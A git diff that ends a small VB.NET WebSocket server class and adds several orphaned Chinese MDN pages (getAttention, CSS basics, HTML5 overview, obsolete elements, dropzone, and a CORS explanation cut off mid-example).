+            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
+            client.HandShake()
+            ClientDataAvailableTimer.Start()
+        End Sub
+
+
+        Sub Client_Disconnected()
+
+        End Sub
+
+
+        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
+            isClientDisconnected = False
+            If Not client.isConnected Then
+                Return True
+            End If
+        End Function
+
+
+        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
+            isClientConnected = False
+            If client.isConnected Then
+                Return True
+            End If
+        End Function
+
+
+        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
+            If Pending() Then
+                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
+            End If
+        End Sub
+
+
+        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
+            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
+            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
+
+            For Each Client As WebSocket.Client In Me.ClientCollection
+                Client.CheckForDataAvailability()
+            Next
+        End Sub
+    End Class
+End Namespace
+
+Sub Main()  'Program Entry point
+    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
+    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
+    thread.Start()
+End Sub
+
+Public Shared WebSocketServer As TypeDef.WebSocket.Server
+Public Shared Sub StartWebSocketServer()
+    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
+    WebSocketServer.startServer()
+End Sub
+
diff --git a/files/zh-cn/orphaned/web/api/window/getattention/index.html b/files/zh-cn/orphaned/web/api/window/getattention/index.html new file mode 100644 index 0000000000..f17531eb18 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/window/getattention/index.html @@ -0,0 +1,33 @@ +--- +title: Window.getAttention() +slug: Web/API/Window/getAttention +translation_of: Web/API/Window/getAttention +--- +
{{ ApiRef() }}
+ +

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

+ +

语法

+ +
window.getAttention();
+
+ +

Notes

+ +

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

+ +

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

+ +

On Macintosh, the icon in the upper right corner of the desktop flashes.

+ +

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

+ +

Specification

+ +

DOM Level 0. Not part of specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.Window.getAttention")}}

diff --git "a/files/zh-cn/orphaned/web/guide/css/css\345\237\272\347\241\200/index.html" "b/files/zh-cn/orphaned/web/guide/css/css\345\237\272\347\241\200/index.html" new file mode 100644 index 0000000000..922f62c536 --- /dev/null +++ "b/files/zh-cn/orphaned/web/guide/css/css\345\237\272\347\241\200/index.html" @@ -0,0 +1,57 @@ +--- +title: CSS基础 +slug: Web/Guide/CSS/CSS基础 +tags: + - CSS + - 'CSS:Getting_Started' + - CSS入门 + - CSS教程 + - Web + - 初学者 + - 教程 +--- +

 

+ +

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

+ +

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

+ + + +

在开始学习之前你需要准备什么?

+ + + +

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

+ +

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

+ +

如何使用本指南

+ +

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

+ +

第一部分:CSS基础

+ +

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

+ +

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

+ +

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

+ +

第二部分:CSS的应用范围

+ +

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

+ +
    +
  1. JavaScript
  2. +
  3. SVG 图形
  4. +
  5. XML 数据
  6. +
  7. XBL bindings
  8. +
  9. XUL 用户界面
  10. +
+ +

 

diff --git a/files/zh-cn/orphaned/web/guide/html/html/index.html b/files/zh-cn/orphaned/web/guide/html/html/index.html new file mode 100644 index 0000000000..ee911ca9a1 --- /dev/null +++ b/files/zh-cn/orphaned/web/guide/html/html/index.html @@ -0,0 +1,181 @@ +--- +title: HTML5 +slug: Web/Guide/HTML/HTML +tags: + - HTML + - HTML5 + - Web + - Web 开发 + - 帮助 + - 指南 + - 综述 +--- +
+
HTML5 演示
+ +

展示了实战中的最新 HTML 技术的 演示汇总

+ +

HTML5_Logo_128.png

+
+ +

HTML5 是 HTML 标准的最新演进版本。 这个术语代表了两个不同的概念:

+ +

它是一个新的 HTML 语言版本包含了新的元素,属性和行为,同时包含了一系列可以被用来让 Web 站点和应用更加多样化,功能更强大的技术。 这套技术往往被称作 HTML5 和它的朋友们,通常简称为 HTML5

+ +

从要对全部所有的 Web 开发人员有用这一点出发,这个参考页面链接了有关 HTML5 技术的大量资源,并且基于它们各自的功能,把它们归类成了若干组。

+ + + +
+
+

语义

+ +
+
HTML5 中的节段和外观概要
+
HTML5 中新的外观概要和节段元素一览: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} 和 {{HTMLElement("hgroup")}}.
+
使用 HTML5 的音频和视频
+
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并能够操作新的多媒体内容。
+
HTML5 的表单
+
看一下 HTML5 中对 web 表单的改进:约束确认 API,一些新的属性,{{HTMLElement("input")}} 属性的一些新值 {{htmlattrxref("type", "input")}} 和新的 {{HTMLElement("output")}} 元素。
+
新的语义元素
+
除了区段,媒体和表单元素之外,众多的新元素,像 {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, 或者 {{HTMLElement("meter")}},也增加了有效的 HTML5 元素的数量。
+
{{HTMLElement("iframe")}} 的改进
+
使用 {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, 和 {{htmlattrxref("srcdoc", "iframe")}} 属性,作者们现在可以精确控制 {{HTMLElement("iframe")}} 元素的安全级别以及期望的渲染。
+
MathML
+
允许直接嵌入数学公式。
+
HTML5 入门
+
本文介绍了如何标示在网页设计或 Web 应用程序中使用 HTML5 时碰到的问题。
+
HTML5 兼容的解析器
+
用于把 HTML5 文档的字节转换成 DOM 的解释器,已经被扩展了,并且现在精确地定义了在所有情况下使用的行为,甚至当碰到无效的 HTML 这种情况。这就导致了 HTML5 兼容的浏览器之间极大的可预测性和互操作性。
+
+ +

连通性

+ +
+
Web Sockets
+
允许在页面和服务器之间建立持久连接并通过这种方法来交换非 HTML 数据。
+
Server-sent events
+
允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。
+
WebRTC
+
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
+
+ +

离线 & 存储

+ +
+
离线资源:应用程序缓存
+
火狐全面支持 HTML5 离线资源规范。其他大多数针对离线资源仅提供了某种程度上的支持。
+
在线和离线事件
+
Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。
+
WHATWG 客户端会话和持久化存储 (又名 DOM 存储)
+
客户端会话和持久化存储让 web 应用程序能够在客户端存储结构化数据。
+
IndexedDB
+
是一个为了能够在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索的 Web 标准。
+
自 web 应用程序中使用文件
+
对新的 HTML5 文件 API 的支持已经被添加到 Gecko 中,从而使 Web 应用程序可以访问由用户选择的本地文件。这包括使用 type file{{HTMLElement("input")}} 元素的新的 multiple 属性针对多文件选择的支持。 还有 FileReader
+
+ +

多媒体

+ +
+
使用 HTML5 音视频
+
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并支持新的多媒体内容的操作。
+
WebRTC
+
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
+
使用 Camera API
+
允许使用,操作计算机摄像头,并从中存储图像。Allows to use, manipulate and store an image from the computer's camera.
+
Track 和 WebVTT
+
 {{HTMLElement("track")}} 元素支持字幕和章节。WebVTT 一个文本轨道格式。
+
+ +

3D, 图像 & 效果

+ +
+
Canvas 教程
+
了解有关新的 {{HTMLElement("canvas")}} 元素以及如何在火狐中绘制图像和其他对象。
+
HTML5 针对 <canvas> 元素的文本 API
+
HTML5 文本 API 现在由 {{HTMLElement("canvas")}} 元素支持。
+
WebGL
+
WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在 HTML5 {{HTMLElement("canvas")}} 元素中的 API 给 Web 带来了 3D 图像功能。
+
SVG
+
一个基于 XML 的可以直接嵌入到 HTML 中的矢量图像格式。
+
 
+
+
+ +
+

性能 & 集成

+ +
+
Web Workers
+
能够把 JavaScript 计算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢。
+
XMLHttpRequest Level 2
+
允许异步读取页面的某些部分,允许其显示动态内容,根据时间和用户行为而有所不同。这是在 Ajax背后的技术。
+
即时编译的 JavaScript 引擎
+
新一代的 JavaScript 引擎功能更强大,性能更杰出。
+
History API
+
允许对浏览器历史记录进行操作。这对于那些交互地加载新信息的页面尤其有用。
+
conentEditable 属性:把你的网站改变成 wiki !
+
HTML5 已经把 contentEditable 属性标准化了。了解更多关于这个特性的内容。
+
拖放
+
HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。同时也提供了一个更简单的供扩展和基于 Mozilla 的应用程序使用的 API。
+
HTML 中的焦点管理
+
支持新的 HTML5 activeElementhasFocus 属性。
+
基于 Web 的协议处理程序
+
你现在可以使用 navigator.registerProtocolHandler() 方法把 web 应用程序注册成一个协议处理程序。
+
requestAnimationFrame
+
允许控制动画渲染以获得更优性能。
+
全屏 API
+
为一个网页或者应用程序控制使用整个屏幕,而不显示浏览器界面。
+
指针锁定 API
+
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
+
在线和离线事件
+
为了构建一个良好的具有离线功能的 web 应用程序,你需要知道什么时候你的应用程序确实离线了。顺便提一句,在你的应用程序又再回到在线状态时你也需要知道。
+
+ +

设备访问

+ +
+
使用 Camera API
+
允许使用和操作计算机的摄像头,并从中存取照片。
+
触控事件
+
对用户按下触控屏的事件做出反应的处理程序。
+
使用地理位置定位
+
让浏览器使用地理位置服务定位用户的位置。
+
检测设备方向
+
让用户在运行浏览器的设备变更方向时能够得到信息。这可以被用作一种输入设备(例如制作能够对设备位置做出反应的游戏)或者使页面的布局跟屏幕的方向相适应(横向或纵向)。
+
指针锁定 API
+
允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。
+
+ +

样式

+ +

CSS 已经扩展到能够以一个更加复杂的方法给元素设置样式。这通常被称为 CSS3, 尽管 CSS 已经不再是很难触动的规范,并且不同的模块并不全部位于 level 3:其中一些位于 level 1 而另一些位于 level 4,覆盖了所有中间的层次。

+ +
+
新的背景样式特性
+
现在可以使用 {{cssxref("box-shadow")}} 给逻辑框设置一个阴影,而且还可以设置 多背景
+
更精美的边框
+
现在不仅可以使用图像来格式化边框,使用 {{cssxref("border-image")}} 和它关联的普通属性,而且可以通过 {{cssxref("border-radius")}} 属性来支持圆角边框。
+
为你的样式设置动画
+
使用 CSS Transitions 以在不同的状态间设置动画,或者使用 CSS Animations 在页面的某些部分设置动画而不需要一个触发事件,你现在可以在页面中控制移动元素了。
+
排版方面的改进
+
作者拥有更高的控制已达到更佳的排版。他们不但可以控制 {{cssxref("text-overflow")}} 和 hyphenation, 而且也可以给它设置一个 阴影 或者更精细地控制它的 decorations。感谢新的 {{cssxref("@font-face")}} 规则,现在我们可以下载并应用自定义的字体了。.
+
新的展示性布局
+
为了提高设计的灵活性,已经有两种新的布局被添加了进来:CSS 多栏布局, 以及 CSS 灵活方框布局
+
+
+
+ +

译注:

+ +

被废弃的重复链接:https://developer.mozilla.org/zh-CN/docs/HTML5_junk

diff --git a/files/zh-cn/orphaned/web/html/element/command/index.html b/files/zh-cn/orphaned/web/html/element/command/index.html new file mode 100644 index 0000000000..9d6a7c58fd --- /dev/null +++ b/files/zh-cn/orphaned/web/html/element/command/index.html @@ -0,0 +1,139 @@ +--- +title: command +slug: Web/HTML/Element/command +translation_of: Web/HTML/Element/command +--- +
+

已废弃

+ +

此功能已过时。 虽然它可能仍然在某些浏览器中工作,但不鼓励使用它,因为它可能随时被删除。 尽量避免使用它。

+
+ +
+

注意:command元素已经被{{Gecko("24.0")}}引擎移除以利于{{HTMLElement("menuitem")}}元素。Firefox从未支持command元素,并且在Firefox 24中删除了对{{domxref("HTMLCommandElement")}}DOM接口的实现。

+
+ +

概述

+ +

command元素用来表示一个用户可以调用的命令.

+ +

使用规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
内容类别Flow content, phrasing content
是否允许有内容否, 它是一个空元素
标签遗漏必须有开始标签, 不可以有结束标签.
允许的父元素任何可以包含 phrasing content的元素.
规范文档HTML5, section 4.11.3
+ +

属性

+ +

和其他的HTML元素一样, 该元素支持全局属性.

+ +
+
{{ htmlattrdef("checked") }}
+
表明该元素已被选择, 除非元素的type 属性是 checkbox 或radio,否则该属性必须被省略.
+
{{ htmlattrdef("disabled") }}
+
表明该command元素已经被禁用.
+
{{ htmlattrdef("icon") }}
+
用一张图片来显示该command元素.
+
{{ htmlattrdef("label") }}
+
该command元素的名称.用来显示给用户.
+
{{ htmlattrdef("radiogroup") }}
+
如果该元素的type属性为radio,则radiogroup属性用来表示这一组command元素的公用名称. 如果type属性不是radio,则radiogroup属性必须省略.
+
{{ htmlattrdef("type") }}
+
该属性用来表明command元素的类型,可以是下面三种值: +
    +
  • +

    command 或者为空,表示一个普通的command元素.

    +
  • +
  • +

    checkbox表明该command元素体现为一个复选框,可以来回切换选中状态.

    +
  • +
  • +

    radio 表明该command元素体现为一个单选按钮,可以来回切换选中状态.

    +
  • +
+
+
+ +

DOM 接口

+ +

该元素实现了HTMLCommandElement接口.

+ +

例子

+ +
<command type="command" label="Save" icon="icons/save.png" onclick="save()">
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

 

+ +

{{ languages( { "en": "en/HTML/Element/command" } ) }}

diff --git a/files/zh-cn/orphaned/web/html/element/element/index.html b/files/zh-cn/orphaned/web/html/element/element/index.html new file mode 100644 index 0000000000..4db9cb2471 --- /dev/null +++ b/files/zh-cn/orphaned/web/html/element/element/index.html @@ -0,0 +1,112 @@ +--- +title: +slug: Web/HTML/Element/element +translation_of: Web/HTML/Element/element +--- +

{{obsolete_header}}

+ +
+

Note: This element has been removed from the specification. See this for more information from the editor of the specification.

+
+ +

简介

+ +

<element>元素被定义在最新的 HTML DOM 元素中。

+ + + + + + + + + + + + + + + + + + + + + + + + +
Content categoriesTransparent content.
Permitted content???
Tag omission{{no_tag_omission}}
Permitted parent elements???
DOM interface{{domxref("HTMLElement")}}
+ +

属性

+ +

这个元素只有全局属性

+ +

示例

+ +

Text goes here.

+ +
More text goes here.
+
+ +

规范

+ +

<element>元素以前位于自定义元素的草稿规范中,但已被删除

+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另请参阅

+ +
    +
  • Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}
  • +
+ +
{{HTMLRef}}
diff --git a/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html b/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html new file mode 100644 index 0000000000..316e41a944 --- /dev/null +++ b/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html @@ -0,0 +1,94 @@ +--- +title: dropzone +slug: Web/HTML/Global_attributes/dropzone +translation_of: Web/HTML/Global_attributes/dropzone +--- +

{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}

+ +

dropzone 全局属性 是个枚举属性,表示什么内容类型可以拖放到元素上,使用 Drag and Drop API,它可以拥有以下值:

+ +
    +
  • copy,它表明拖放行为会创建被拖放元素的副本。
  • +
  • move,它表明被拖放元素会移动到新的位置。
  • +
  • link,它会创建被拖放数据的链接。 
  • +
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML WHATWG')}}与最新的快照{{SpecName('HTML5.1')}} 没有区别
{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML5.1')}}{{SpecName('HTML WHATWG')}} 的快照,最初定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{ CompatUnknown() }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatUnknown() }}{{ CompatUnknown}}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

另见

+ + diff --git "a/files/zh-cn/orphaned/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" "b/files/zh-cn/orphaned/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" new file mode 100644 index 0000000000..5d4f591eb7 --- /dev/null +++ "b/files/zh-cn/orphaned/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" @@ -0,0 +1,544 @@ +--- +title: 跨域资源共享(CORS) +slug: Web/HTTP/跨域资源共享(CORS)_ +--- +
{{ HTTPSidebar }}
+ +
+ +
跨域资源共享({{Glossary("CORS")}}) 是一种机制,它使用额外的 {{Glossary("HTTP")}} 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求
+ +
+ +
如,站点 http://domain-a.com 的某 HTML 页面通过 <img> 的 src 请求 http://domain-b.com/image.jpg。网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。
+ +
+ +

出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

+ +

  (译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)

+ +

+ +

跨域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

+ +

谁应该读这篇文章?

+ +

说实话,每个人。

+ +

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨域资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

+ +

什么情况下需要 CORS ?

+ +

跨域资源共享标准( cross-origin sharing standard )允许在下列场景中使用跨域 HTTP 请求:

+ + + +

本文概述了跨域资源共享机制及其所涉及的 HTTP 头。

+ +

功能概述

+ +

跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

+ +

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

+ +

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

+ +

若干访问控制场景

+ +

这里,我们使用三个场景来解释跨域资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

+ +

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨域  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

+ +

关于服务端对跨域资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

+ +

简单请求

+ +

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

+ +
    +
  • 使用下列方法之一: +
      +
    • {{HTTPMethod("GET")}}
    • +
    • {{HTTPMethod("HEAD")}}
    • +
    • {{HTTPMethod("POST")}}
    • +
    +
  • +
  • Fetch 规范定义了对 CORS 安全的首部字段集合,不得人为设置该集合之外的其他首部字段。该集合为: +
      +
    • {{HTTPHeader("Accept")}}
    • +
    • {{HTTPHeader("Accept-Language")}}
    • +
    • {{HTTPHeader("Content-Language")}}
    • +
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • +
    • DPR
    • +
    • Downlink
    • +
    • Save-Data
    • +
    • Viewport-Width
    • +
    • Width
    • +
    +
  • +
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: +
      +
    • text/plain
    • +
    • multipart/form-data
    • +
    • application/x-www-form-urlencoded
    • +
    +
  • +
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • +
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • +
+ +
注意: 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨域请求的网站无需为这一新的 HTTP 访问控制特性担心。
+ +
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
+ +

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

客户端和服务器之间使用 CORS 首部字段来处理跨域权限:

+ +

+ +

分别检视请求报文和响应报文:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

+ +

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

+ +

预检请求

+ +

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

+ +

当请求满足下述任一条件时,即应首先发送预检请求:

+ +
    +
  • 使用了下面任一 HTTP 方法: +
      +
    • {{HTTPMethod("PUT")}}
    • +
    • {{HTTPMethod("DELETE")}}
    • +
    • {{HTTPMethod("CONNECT")}}
    • +
    • {{HTTPMethod("OPTIONS")}}
    • +
    • {{HTTPMethod("TRACE")}}
    • +
    • {{HTTPMethod("PATCH")}}
    • +
    +
  • +
  • 人为设置了对 CORS 安全的首部字段集合之外的其他首部字段。该集合为: +
      +
    • {{HTTPHeader("Accept")}}
    • +
    • {{HTTPHeader("Accept-Language")}}
    • +
    • {{HTTPHeader("Content-Language")}}
    • +
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • +
    • DPR
    • +
    • Downlink
    • +
    • Save-Data
    • +
    • Viewport-Width
    • +
    • Width
    • +
    +
  • +
  •  {{HTTPHeader("Content-Type")}} 的值不属于下列之一: +
      +
    • application/x-www-form-urlencoded
    • +
    • multipart/form-data
    • +
    • text/plain
    • +
    +
  • +
  • 请求中的{{domxref("XMLHttpRequestUpload")}} 对象注册了任意多个事件监听器。
  • +
  • 请求中使用了{{domxref("ReadableStream")}}对象。
  • +
+ +
+

注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。

+
+ +

如下是一个需要执行预检请求的 HTTP 请求:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
